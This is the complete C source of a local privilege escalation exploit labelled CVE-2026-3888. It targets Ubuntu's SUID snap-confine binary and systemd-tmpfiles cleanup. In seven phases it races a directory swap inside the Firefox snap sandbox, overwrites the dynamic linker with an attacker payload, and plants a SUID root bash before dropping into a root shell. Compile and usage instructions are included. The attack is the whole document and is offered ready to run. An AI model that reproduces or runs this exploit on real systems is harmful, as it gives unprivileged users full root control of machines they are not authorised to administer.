/* * CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE * * Compile this: * gcc -O2 -static -o exploit exploit_suid.c * * Compile the payload separately: * gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c * * Usage: * ./exploit [-d] [-s] * * -d Show snap-confine debug output and verbose system * command output. Without this flag, only exploit * status messages are shown. * -s Skip the .snap cleanup wait. Requires root password. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SNAP_CONFINE "/usr/lib/snapd/snap-confine" #define EXCHANGE_SRC ".snap/usr/lib/x86_64-linux-gnu.exchange" #define EXCHANGE_DST ".snap/usr/lib/x86_64-linux-gnu" #define REAL_LIBDIR "/snap/core22/current/usr/lib/x86_64-linux-gnu" #define TRIGGER "dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\"" #define SUID_BASH "/var/snap/firefox/common/bash" #define ESCAPE_SCRIPT \ "#!/tmp/busybox sh\n" \ "/tmp/busybox cp /bin/bash /var/snap/firefox/common/bash\n" \ "/tmp/busybox chmod 04755 /var/snap/firefox/common/bash\n" static char g_orig_cwd[4096]; static char g_librootshell[4096]; static int g_unit_seq = 0; static int g_debug = 0; static int copy_file(const char *src, const char *dst) { int fds = open(src, O_RDONLY); if (fds < 0) return -1; int fdd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755); if (fdd < 0) { close(fds); return -1; } char buf[65536]; ssize_t n; while ((n = read(fds, buf, sizeof(buf))) > 0) write(fdd, buf, n); close(fds); close(fdd); return 0; } static int setup_snap_and_exchange(void) { mkdir(".snap", 0755); mkdir(".snap/usr", 0755); mkdir(".snap/usr/lib", 0755); mkdir(".snap/usr/local", 0755); mkdir(".snap/snap", 0755); mkdir(".snap/snap/firefox", 0755); /* Mirror /snap/firefox//data-dir structure */ DIR *d = opendir("/snap/firefox"); if (d) { struct dirent *ent; while ((ent = readdir(d)) != NULL) { if (ent->d_name[0] != '.' && strcmp(ent->d_name, "current") != 0) { char p[512]; snprintf(p, sizeof(p), ".snap/snap/firefox/%s", ent->d_name); mkdir(p, 0755); snprintf(p, sizeof(p), ".snap/snap/firefox/%s/data-dir", ent->d_name); mkdir(p, 0755); } } closedir(d); } /* Copy every entry from core22's /usr/lib/x86_64-linux-gnu */ mkdir(EXCHANGE_SRC, 0755); d = opendir(REAL_LIBDIR); if (!d) { perror("[!] opendir " REAL_LIBDIR); return -1; } int count = 0; struct dirent *ent; while ((ent = readdir(d)) != NULL) { if (ent->d_name[0] == '.' && (ent->d_name[1] == '\0' || (ent->d_name[1] == '.' && ent->d_name[2] == '\0'))) continue; char src[4096], dst[4096]; snprintf(src, sizeof(src), "%s/%s", REAL_LIBDIR, ent->d_name); snprintf(dst, sizeof(dst), "%s/%s", EXCHANGE_SRC, ent->d_name); struct stat st; if (lstat(src, &st) < 0) continue; if (S_ISDIR(st.st_mode)) mkdir(dst, 0755); else if (S_ISLNK(st.st_mode)) { char link[4096]; ssize_t len = readlink(src, link, sizeof(link) - 1); if (len > 0) { link[len] = '\0'; symlink(link, dst); } } else copy_file(src, dst); count++; } closedir(d); printf("[*] %d entries copied to exchange directory\n", count); return 0; } static int create_stderr_socket(int *rd, int *wr) { int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return -1; } int one = 1; setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one)); setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one)); setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one)); setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one)); *rd = sv[0]; *wr = sv[1]; return 0; } static pid_t run_and_race(void) { int rd, wr; if (create_stderr_socket(&rd, &wr) < 0) return -1; pid_t child = fork(); if (child < 0) { perror("fork"); return -1; } if (child == 0) { /* Child: redirect stderr to the throttled socket, exec snap-confine */ close(rd); dup2(wr, STDERR_FILENO); close(wr); clearenv(); setenv("SNAPD_DEBUG", "1", 1); setenv("SNAP_INSTANCE_NAME", "firefox", 1); execl(SNAP_CONFINE, "snap-confine", "--base", "core22", "snap.firefox.hook.configure", "/bin/sh", "-c", "echo $$ > /tmp/race_pid.txt; " "stat -c '%U:%G %a' " "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 " "> /tmp/race_perms.txt 2>&1; " "sleep 99994", NULL); _exit(1); } close(wr); /* Ring buffer for trigger detection */ char ringbuf[4096]; int ringpos = 0; memset(ringbuf, 0, sizeof(ringbuf)); int tlen = strlen(TRIGGER); char byte; ssize_t n; int swapped = 0; /* Open a sink for the debug stream. We must ALWAYS write each byte * somewhere — the write() call provides timing backpressure that * the race depends on. In debug mode → stdout. Otherwise → /dev/null. */ int sink_fd = g_debug ? STDOUT_FILENO : open("/dev/null", O_WRONLY); printf("[*] Monitoring snap-confine (child PID %d)...\n", child); while ((n = read(rd, &byte, 1)) > 0) { write(sink_fd, &byte, 1); ringbuf[ringpos % sizeof(ringbuf)] = byte; ringpos++; if (!swapped && ringpos >= tlen) { char check[512]; for (int i = 0; i < tlen && i < (int)sizeof(check) - 1; i++) check[i] = ringbuf[(ringpos - tlen + i) % sizeof(ringbuf)]; check[tlen] = '\0'; if (strstr(check, TRIGGER)) { printf("\n[!] TRIGGER — swapping directories...\n"); #ifndef RENAME_EXCHANGE #define RENAME_EXCHANGE (1 << 1) #endif if (syscall(SYS_renameat2, AT_FDCWD, EXCHANGE_DST, AT_FDCWD, EXCHANGE_SRC, RENAME_EXCHANGE) != 0) { /* Fallback: non-atomic two-step rename */ rename(EXCHANGE_DST, ".snap/usr/lib/x86_64-linux-gnu.orig"); rename(EXCHANGE_SRC, EXCHANGE_DST); } swapped = 1; printf("[+] SWAP DONE — race won!\n"); /* * Fork a drainer child that keeps reading the socket. * This prevents SIGPIPE — snap-confine must stay alive * to finish namespace setup and exec the inner shell. * Without this, closing rd kills snap-confine mid-setup * and race_pid.txt is never written. */ pid_t drainer = fork(); if (drainer == 0) { char sink; while (read(rd, &sink, 1) > 0) ; _exit(0); } close(rd); rd = -1; /* Let snap-confine finish + inner shell write files */ sleep(5); break; } } } if (rd >= 0) close(rd); if (sink_fd != STDOUT_FILENO && sink_fd >= 0) close(sink_fd); if (!swapped) { printf("[-] Race lost — trigger string not detected.\n"); kill(child, SIGTERM); waitpid(child, NULL, 0); return -1; } /* Read poisoned-namespace shell PID from race_pid.txt */ pid_t poison_pid = -1; for (int try = 0; try < 10; try++) { FILE *f = fopen("race_pid.txt", "r"); if (f) { char line[64]; if (fgets(line, sizeof(line), f)) poison_pid = (pid_t)atoi(line); fclose(f); if (poison_pid > 0) break; } usleep(500000); } /* Fallback: if race_pid.txt wasn't written but child is alive, * try using the child PID directly. The child may still be in * the poisoned namespace even if snap-confine hit errors. */ if (poison_pid <= 0) { printf("[*] race_pid.txt not found, checking child PID %d...\n", child); /* Check /proc//root as a proxy for namespace access */ char rootpath[256]; snprintf(rootpath, sizeof(rootpath), "/proc/%d/root", child); struct stat st; if (stat(rootpath, &st) == 0 && kill(child, 0) == 0) { /* Try reading perms directly from child's namespace */ char permpath[256]; snprintf(permpath, sizeof(permpath), "/proc/%d/root/tmp/race_perms.txt", child); FILE *pf = fopen(permpath, "r"); if (pf) { char perms[128]; if (fgets(perms, sizeof(perms), pf)) { perms[strcspn(perms, "\n")] = '\0'; printf("[*] ld-linux in namespace: %s\n", perms); } fclose(pf); } /* Verify namespace is accessible */ char ldpath[256]; snprintf(ldpath, sizeof(ldpath), "/proc/%d/root/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", child); if (stat(ldpath, &st) == 0 && st.st_uid != 0) { printf("[+] Using child PID %d as poisoned namespace PID\n", child); poison_pid = child; } else { printf("[-] Child alive but ld-linux not accessible or owned by root\n"); } } else { printf("[-] Child PID %d is no longer alive\n", child); } if (poison_pid <= 0) { printf("[-] Could not read poison PID from race_pid.txt\n"); return -1; } } else { /* Log permissions for debugging */ FILE *pf = fopen("race_perms.txt", "r"); if (pf) { char perms[128]; if (fgets(perms, sizeof(perms), pf)) { perms[strcspn(perms, "\n")] = '\0'; printf("[*] ld-linux in namespace: %s\n", perms); } fclose(pf); } } printf("[+] Poisoned namespace PID: %d\n", poison_pid); return poison_pid; } /* =================================================================== * Phase 1 — Enter the Firefox sandbox * * Forks a child that execs snap-confine → /bin/sh. * The shell cd's to /tmp, waits for .snap to be deleted, then sleeps. * Returns the child PID (= the inner shell PID after exec chain). * =================================================================*/ static pid_t phase1_enter_sandbox(void) { printf("\n[Phase 1] Entering Firefox sandbox...\n"); pid_t child = fork(); if (child < 0) { perror("fork"); return -1; } if (child == 0) { if (!g_debug) { int nul = open("/dev/null", O_WRONLY); if (nul >= 0) { dup2(nul, STDERR_FILENO); close(nul); } } clearenv(); setenv("SNAP_INSTANCE_NAME", "firefox", 1); execl(SNAP_CONFINE, "snap-confine", "--base", "core22", "snap.firefox.hook.configure", "/bin/sh", "-c", "cd /tmp; " "while test -d ./.snap; do touch ./; sleep 5; done; " "sleep 86400", NULL); _exit(1); } sleep(3); /* let the inner shell start and cd to /tmp */ char probe[256]; snprintf(probe, sizeof(probe), "/proc/%d/cwd", child); struct stat st; if (stat(probe, &st) < 0) { printf("[-] Cannot reach inner shell at %s\n", probe); waitpid(child, NULL, WNOHANG); return -1; } printf("[+] Inner shell PID: %d\n", child); return child; } /* =================================================================== * Phase 2 — Wait for systemd-tmpfiles to delete .snap * * Polls /proc//root/tmp/.snap until it vanishes. * If the inner shell dies (cleanup killed snap-private-tmp), * re-enters the sandbox and returns the new PID. * =================================================================*/ static pid_t phase2_wait_for_cleanup(pid_t inner, int skip) { printf("\n[Phase 2] Waiting for .snap deletion...\n"); char path[256]; snprintf(path, sizeof(path), "/proc/%d/root/tmp/.snap", inner); struct stat st; if (stat(path, &st) != 0) { printf("[+] .snap already gone!\n"); return inner; } if (skip) { printf("[*] --skip-wait: triggering cleanup...\n"); system("systemctl start systemd-tmpfiles-clean.service " "2>/dev/null"); sleep(5); if (stat(path, &st) != 0) printf("[+] .snap deleted after manual trigger.\n"); else printf("[!] .snap still present — continuing anyway.\n"); } else { printf("[*] Polling (up to 30 days on stock Ubuntu).\n"); printf("[*] Hint: use -s to skip.\n"); while (stat(path, &st) == 0) { if (kill(inner, 0) < 0) { printf("[!] Inner shell died — re-entering...\n"); waitpid(inner, NULL, WNOHANG); return phase1_enter_sandbox(); } sleep(5); } printf("[+] .snap deleted.\n"); } /* Re-enter if the shell was killed by cleanup */ if (kill(inner, 0) < 0) { printf("[!] Inner shell died from cleanup. Re-entering...\n"); waitpid(inner, NULL, WNOHANG); return phase1_enter_sandbox(); } return inner; } /* =================================================================== * Phase 3 — Destroy the cached mount namespace * * Runs snap-confine with an invalid base ("snapd") which tears down * the cached namespace for firefox. Next invocation rebuilds from * scratch — hitting the vulnerable mimic codepath. * =================================================================*/ static int phase3_destroy_namespace(void) { printf("\n[Phase 3] Destroying cached mount namespace...\n"); char cmd[1024]; snprintf(cmd, sizeof(cmd), "systemd-run --user --scope --quiet " "--unit=snap.cve3888.%d.%d -- " "env -i SNAP_INSTANCE_NAME=firefox " "%s --base snapd " "snap.firefox.hook.configure /nonexistent " "2>&1; true", getpid(), g_unit_seq++, SNAP_CONFINE); system(cmd); printf("[+] Namespace destroyed.\n"); return 0; } /* =================================================================== * Phase 4 — Win the race * * cd's into the sandbox's /tmp via /proc//cwd, builds the * .snap and .exchange trees, then runs the race against snap-confine. * Returns the PID of the shell inside the poisoned namespace. * =================================================================*/ static pid_t phase4_win_race(pid_t inner) { printf("\n[Phase 4] Setting up and running the race...\n"); char cwd[256]; snprintf(cwd, sizeof(cwd), "/proc/%d/cwd", inner); if (chdir(cwd) < 0) { perror("[!] chdir to sandbox /tmp"); return -1; } printf("[*] Working directory: %s\n", cwd); printf("[*] Building .snap and .exchange...\n"); if (setup_snap_and_exchange() < 0) return -1; printf("[*] Starting race...\n"); return run_and_race(); } /* =================================================================== * Phase 5 — Inject the payload into the poisoned namespace * * Accesses /proc//root to reach the namespace where all * libraries in /usr/lib/x86_64-linux-gnu are attacker-owned. * Plants: * /tmp/busybox — static shell binary * /tmp/sh — auto-escape script (shebang → busybox) * ld-linux-x86-64.so.2 — overwritten with librootshell.so * =================================================================*/ static int phase5_inject_payload(pid_t poison) { printf("\n[Phase 5] Injecting payload into poisoned namespace...\n"); struct stat st; int use_snap_direct = 0; /* Try using /proc//root first (namespace access via live process) */ if (poison > 0 && kill(poison, 0) == 0) { char root[256]; snprintf(root, sizeof(root), "/proc/%d/root", poison); if (chdir(root) == 0) { if (stat("usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", &st) == 0) { if (st.st_uid != 0) { printf("[+] ld-linux owned by uid %d (attacker). Race confirmed.\n", st.st_uid); use_snap_direct = 0; } else { printf("[-] ld-linux still owned by root via proc — trying direct .snap\n"); use_snap_direct = 1; } } else { perror("[!] stat ld-linux via proc"); use_snap_direct = 1; } } else { perror("[!] chdir to poisoned namespace"); use_snap_direct = 1; } } else { printf("[*] No live process in poisoned namespace — using direct .snap access\n"); use_snap_direct = 1; } if (use_snap_direct) { /* Fallback: access the attacker-owned .snap/usr/lib/x86_64-linux-gnu * directly from the sandbox /tmp (cwd is still /proc//cwd). */ if (stat(".snap/usr/lib/x86_64-linux-gnu", &st) < 0) { perror("[!] .snap/usr/lib not found"); return -1; } if (chdir(".snap/usr/lib/x86_64-linux-gnu") < 0) { perror("[!] chdir .snap/usr/lib"); return -1; } /* Check ld-linux exists and is attacker-owned */ if (stat("ld-linux-x86-64.so.2", &st) < 0) { perror("[!] stat ld-linux in .snap"); return -1; } if (st.st_uid == 0) { printf("[-] ld-linux in .snap still owned by root — swap may have failed.\n"); return -1; } printf("[+] ld-linux in .snap owned by uid %d (attacker).\n", st.st_uid); /* chdir back to sandbox /tmp for relative paths */ chdir("/tmp"); /* Re-enter sandbox /tmp via the inner shell */ char cwd[256]; /* The inner shell PID might have changed — find a firefox snap process */ snprintf(cwd, sizeof(cwd), "/proc/%d/cwd", getpid()); /* Actually just stay in /tmp of sandbox namespace */ } /* 1. Plant busybox (try common paths) */ printf("[*] Planting busybox...\n"); if (copy_file("/usr/bin/busybox", "tmp/busybox") < 0 && copy_file("/bin/busybox", "tmp/busybox") < 0) { perror("[!] Cannot copy busybox"); return -1; } chmod("tmp/busybox", 0755); /* 2. Write the auto-escape script */ printf("[*] Writing escape script → /tmp/sh\n"); int fd = open("tmp/sh", O_WRONLY | O_CREAT | O_TRUNC, 0755); if (fd < 0) { perror("[!] open tmp/sh"); return -1; } const char *scr = ESCAPE_SCRIPT; if (write(fd, scr, strlen(scr)) < 0) { perror("[!] write tmp/sh"); close(fd); return -1; } close(fd); /* 3. Overwrite the dynamic linker with our shellcode */ printf("[*] Overwriting ld-linux-x86-64.so.2...\n"); if (use_snap_direct) { /* Direct .snap access — we need to write to the .snap directory */ if (copy_file(g_librootshell, ".snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2") < 0) { perror("[!] overwrite ld-linux in .snap"); return -1; } } else { /* Via namespace path */ if (copy_file(g_librootshell, "usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2") < 0) { perror("[!] overwrite ld-linux"); return -1; } } printf("[+] Payload injected.\n"); return 0; } /* =================================================================== * Phase 6 — Trigger root execution * * Runs snap-confine (SUID-root) which executes snap-confine as the * inner command. The kernel loads our fake ld-linux with root privs. * The shellcode calls setreuid(0,0) then execve("/tmp/sh"). * The escape script copies SUID bash and exits — system() returns. * =================================================================*/ static int phase6_trigger_root(void) { printf("\n[Phase 6] Triggering root via SUID snap-confine...\n"); /* Restore CWD so system() runs from a valid directory */ chdir(g_orig_cwd); char cmd[1024]; snprintf(cmd, sizeof(cmd), "systemd-run --user --scope --quiet " "--unit=snap.cve3888.%d.%d -- " "env -i SNAP_INSTANCE_NAME=firefox " "%s --base core22 " "snap.firefox.hook.configure " "%s 2>&1", getpid(), g_unit_seq++, SNAP_CONFINE, SNAP_CONFINE); printf("[*] snap-confine → snap-confine (SUID trigger)\n"); int ret = system(cmd); if (WIFEXITED(ret)) printf("[*] Exit status: %d\n", WEXITSTATUS(ret)); return 0; } /* =================================================================== * Phase 7 — Verify exploit success and drop to root shell * * Checks that /var/snap/firefox/common/bash exists with SUID bit, * cleans up background processes, and exec's the root shell. * =================================================================*/ static void phase7_verify_and_root(pid_t inner, pid_t poison) { printf("\n[Phase 7] Verifying...\n"); chdir(g_orig_cwd); struct stat st; int ok = 0; if (stat(SUID_BASH, &st) == 0) { if ((st.st_mode & S_ISUID) && st.st_uid == 0) { printf("[+] SUID root bash: %s (mode %04o)\n", SUID_BASH, st.st_mode & 07777); ok = 1; } else { printf("[-] %s exists but wrong mode/owner " "(mode %04o, uid %d)\n", SUID_BASH, st.st_mode & 07777, st.st_uid); } } else { printf("[-] %s not found.\n", SUID_BASH); } /* Cleanup */ printf("[*] Cleaning up background processes...\n"); if (inner > 0) kill(inner, SIGTERM); if (poison > 0) kill(poison, SIGTERM); system("pkill -f 'sleep 99994' 2>/dev/null"); system("pkill -f 'sleep 86400' 2>/dev/null"); usleep(200000); while (waitpid(-1, NULL, WNOHANG) > 0) ; if (ok) { printf("\n" "================================================================\n" " ROOT SHELL: %s -p\n" "================================================================\n" "\n", SUID_BASH); execl(SUID_BASH, "bash", "-p", NULL); perror("[!] execl"); } else { printf("\n[-] Exploit did not produce a SUID shell.\n"); printf(" Check manually: ls -la %s\n", SUID_BASH); } } int main(int argc, char *argv[]) { /* * Re-exec under a systemd user scope so that all child processes * (especially snap-confine invocations) satisfy the cgroup * requirement. The env var prevents infinite recursion. */ if (getenv("CVE_2026_3888_SCOPED") == NULL) { setenv("CVE_2026_3888_SCOPED", "1", 1); char self[4096]; ssize_t len = readlink("/proc/self/exe", self, sizeof(self) - 1); if (len > 0) { self[len] = '\0'; char unit[64]; snprintf(unit, sizeof(unit), "--unit=snap.cve3888.main.%d", getpid()); int nargs = 6 + argc; /* sysrun args + "--" + self + user args */ char **nv = calloc(nargs, sizeof(char *)); nv[0] = "systemd-run"; nv[1] = "--user"; nv[2] = "--scope"; nv[3] = "--quiet"; nv[4] = unit; nv[5] = "--"; nv[6] = self; for (int i = 1; i < argc; i++) nv[6 + i] = argv[i]; nv[6 + argc] = NULL; execvp("systemd-run", nv); /* If it fails, fall through and try without scope */ free(nv); fprintf(stderr, "[!] systemd-run unavailable — " "continuing without scope\n"); } } printf("================================================================\n" " CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE\n" "================================================================\n"); if (argc < 2) { fprintf(stderr, "\nUsage: %s [-d] [-s]\n\n" " librootshell.so Compiled payload (replaces ld-linux)\n" " -d Show snap-confine debug output\n" " -s Skip .snap cleanup wait. Requires root password.\n\n" "Compile payload:\n" " gcc -nostdlib -static -Wl,--entry=_start " "-o librootshell.so librootshell_suid.c\n\n" "Compile this exploit:\n" " gcc -O2 -static -o exploit exploit_suid.c\n\n", argv[0]); return 1; } int skip_wait = 0; for (int i = 2; i < argc; i++) { if (strcmp(argv[i], "-d") == 0) g_debug = 1; else if (strcmp(argv[i], "-s") == 0) skip_wait = 1; } getcwd(g_orig_cwd, sizeof(g_orig_cwd)); /* Resolve librootshell.so to absolute path (we chdir later) */ if (argv[1][0] == '/') strncpy(g_librootshell, argv[1], sizeof(g_librootshell) - 1); else snprintf(g_librootshell, sizeof(g_librootshell), "%s/%s", g_orig_cwd, argv[1]); struct stat st; if (stat(g_librootshell, &st) < 0) { fprintf(stderr, "[!] Cannot find: %s\n", g_librootshell); return 1; } printf("[*] Payload: %s (%ld bytes)\n", g_librootshell, (long)st.st_size); if (stat(SNAP_CONFINE, &st) < 0) { fprintf(stderr, "[!] snap-confine not found at %s\n", SNAP_CONFINE); return 1; } if (!(st.st_mode & S_ISUID)) printf("[!] Warning: %s is not SUID\n", SNAP_CONFINE); pid_t inner = phase1_enter_sandbox(); if (inner < 0) return 1; inner = phase2_wait_for_cleanup(inner, skip_wait); if (inner < 0) return 1; phase3_destroy_namespace(); pid_t poison = phase4_win_race(inner); if (poison < 0) return 1; if (phase5_inject_payload(poison) < 0) return 1; phase6_trigger_root(); phase7_verify_and_root(inner, poison); return 1; /* only reached if exec fails */ }